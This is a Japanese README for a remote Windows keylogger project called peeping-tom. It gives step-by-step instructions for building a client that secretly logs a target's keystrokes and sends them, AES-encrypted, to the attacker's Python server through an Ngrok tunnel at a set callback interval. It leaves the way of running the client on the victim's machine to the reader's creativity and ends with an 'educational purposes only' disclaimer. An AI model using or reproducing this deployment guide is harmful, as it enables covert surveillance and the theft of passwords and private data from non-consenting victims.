
リモートWindowsキーロガー:設定可能なコールバック間隔によるAES-256暗号化キーストローク流出と、ログ解析用の付属Pythonサーバー。
peeping-tom プロジェクトのリポジトリへようこそ! Peeping-tom は、ターゲットに展開する peeping-client と、攻撃者マシンでキーログを受信する toms-server の2つのプログラムで構成されています。起動して動作させるにはかなりのセットアップが必要ですので、以下の手順を注意深く読み、従ってください。
もちろん、提案、フィードバック、問題などがあれば、遠慮なく連絡するか、Issue や Pull Request を作成してください。
ステップ1: Visual Studioでpeeping-tomソリューションファイルを開く
まず、上記のリンクからVisual Studioコミュニティエディションをダウンロードしてインストールします。インストーラーを進める際に、「Python開発」と「C++によるデスクトップ開発」のワークロードを選択してください。これらはプロジェクトを正しく読み込み、コンパイルするために必要です。

インストールが完了したら、Visual Studioを起動し、「リポジトリをクローン」オプションを選択します。プロジェクトのGit URLを入力し、クローンをクリックします。

正しく読み込まれれば、右側のソリューションエクスプローラーウィンドウに両方のプロジェクトが以下のように表示されます。

ステップ2: Visual Studioでコンパイラ/リンカオプションを設定する
ツールがVisual Studioに読み込まれたら、いくつかのオプションを変更し、ビルド前にライブラリをコンパイルする必要があります。これにより、ターゲット上で実行する際のプログラム/ライブラリ依存関係が解消されます。
最初の作業は、キーロガーの暗号化に使用されるCrypto++ライブラリを静的にコンパイルすることです。このプロセスを開始するには、こちらからバージョン8.6.0のライブラリをダウンロードします。
ZIPファイルをダウンロードしたら、フォルダに展開し、そのフォルダに移動して、cryptest.slnをVisual Studioで起動します。これでVisual Studioのウィンドウが2つになり、一方にはpeeping-tomソリューション、もう一方にはcryptestソリューションが開いているはずです。

cryptest.slnファイルがVisual Studioに読み込まれたら、上部ツールバーの「デバッグ」をクリックして「リリース」に設定します。また、アーキテクチャを以下のようにx64に変更します。

次に、cryptlibプロジェクトを右クリックし、プロパティを選択します。ハイライトされたオプションを以下のように変更します。

それが完了したら、cryptestソリューションをビルドします。

ビルドには1〜2分かかりますが、完了すると、以下のパスの該当バージョンにcryptlib.libファイルが表示されるはずです。ファイルを見つけて、次のステップのためにパスをコピーします。
C:\Users\Abdullah Beta\Downloads\cryptopp860\x64\Output\Release\cryptlib.lib
ファイルを見つけてパスをコピーしたら、peeping-tomソリューションが開いているVisual Studioウィンドウに戻ります。peeping-clientプロジェクトを右クリックし、プロパティを選択します。以下のスクリーンショットに示されたオプションに移動し、cryptlib.libのパスを貼り付けます。

peeping-clientプロジェクトも「リリース」に設定され、アーキテクチャがx64に設定されていることを確認してください。ソースコードにまだいくつかの変更を加える必要があるため、まだ peeping-tomソリューションをビルドしないでください。
ステップ3: localhost:80への公開トンネルを開く
トンネルに進みます。Ngrokアカウントを作成したら、上記のリンクからお使いのOS用のNgrokをダウンロードし、ZIPファイルから実行可能ファイルを抽出します。トンネルを開く前に、以下のようにアカウントから個人用認証トークンを取得する必要があります。

トークンを取得したら、以下のコマンドでNgrokのローカル設定に追加します。
ngrok config add-authtoken 7cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxmgZ5
最後に、以下のコマンドでトンネルを開きます。
ngrok http 80 --scheme=http
すべてうまくいけば、下の画像のような表示がされるはずです。これでこのステップは完了です。ハイライトされた「Forwarding」アドレスをコピーし、後で使うために安全な場所に保存してください。

ステップ4: 新しいAES-256キーを生成する
この時点で、マシンにPythonをダウンロードしてください。インストールが完了したら、toms-serverプロジェクトディレクトリでCMDウィンドウを開きます。
必要な依存関係をインストールします。
pip3 install -r requirements.txt
準備ができたら、次のコマンドを実行します。
python3 toms-server.py -m keygen
これにより64文字のAES-256キーが出力されます。このキーも後で必要になるので、Ngrokの転送アドレスと一緒に保存しておいてください。
ステップ5: peeping-clientソースに必要なフィールドを設定する
これで必要なものがすべて揃いました。ソリューションエクスプローラーから peeping-clientプロジェクト->ソースファイル->peeping-client.cpp ソースファイルを開きます。以下のmain()関数の最初の2つの変数に関連情報を入力します。

情報を入力したら、peeping-clientプロジェクト->ヘッダーファイル->APIHook.h に移動し、下の画像の「15」を、希望するコールバック間隔(秒単位)に置き換えます(例:15を7200に変更すると2時間ごとのコールバックになります)。

最後に、プロジェクトをビルドすると、以下の場所の該当バージョンに実行可能ファイルが生成されます。
C:\Users\Abdullah Beta\source\repos\peeping-client\x64\Release
おめでとうございます! これで、定期的に暗号化されたキーボードデータをコールバックする、完全にカスタマイズされたキーロガーが完成しました。
ステップ6: リスニングサーバーを起動する
最後のステップは、ターゲットからのキーログ受信を開始することです。以下のコマンドでサーバーをリスニングモードで起動できます。
python3 toms-server.py -m server
サーバーが起動したら、先ほど生成してpeeping-client.cppソースファイルで使用したものとまったく同じAESキーを入力します。キーが受け入れられると、サーバーが起動したというメッセージが表示されます!
ステップ7: ログの分析 + 重要な注意事項
あとは、新しくビルドしたpeeping-client.exeをターゲットで実行するだけです。その方法はあなたの創造力にお任せします。設定した間隔が経過するたびに、ターミナルにメッセージが表示されます。
警告: この間、インターネット接続が切れたり、Ngrokトンネルを閉じたりしないように注意してください。そうなると、ターゲット上でpeeping-client.exeプログラムを再実行する必要があります。
すべてのキーログは、toms-serverスクリプトがあるディレクトリ内のkeylog.txtファイルに書き込まれ、そこから表示できます。手順は以上です。大きな問題なく起動できたことを願っています!
近日公開予定!
pip3 install requests
このリポジトリに貢献する際は、Issue、メール、またはLinkedInで、変更したい内容について話し合ってください。
このプロジェクトは教育目的のみです。このプロジェクトを使用して行われたいかなる悪質な行為も、ユーザー自身の責任です。私は違法行為に対する責任を一切負いません。
このプロジェクトは、Ermin Kreponic氏のUdemyコースによって部分的に導かれ、私の新しいアイデアと新しく学んだスキルを組み込むために大幅に改良されました。
著者 - Abdullah Ansari ©
連絡先情報 - メール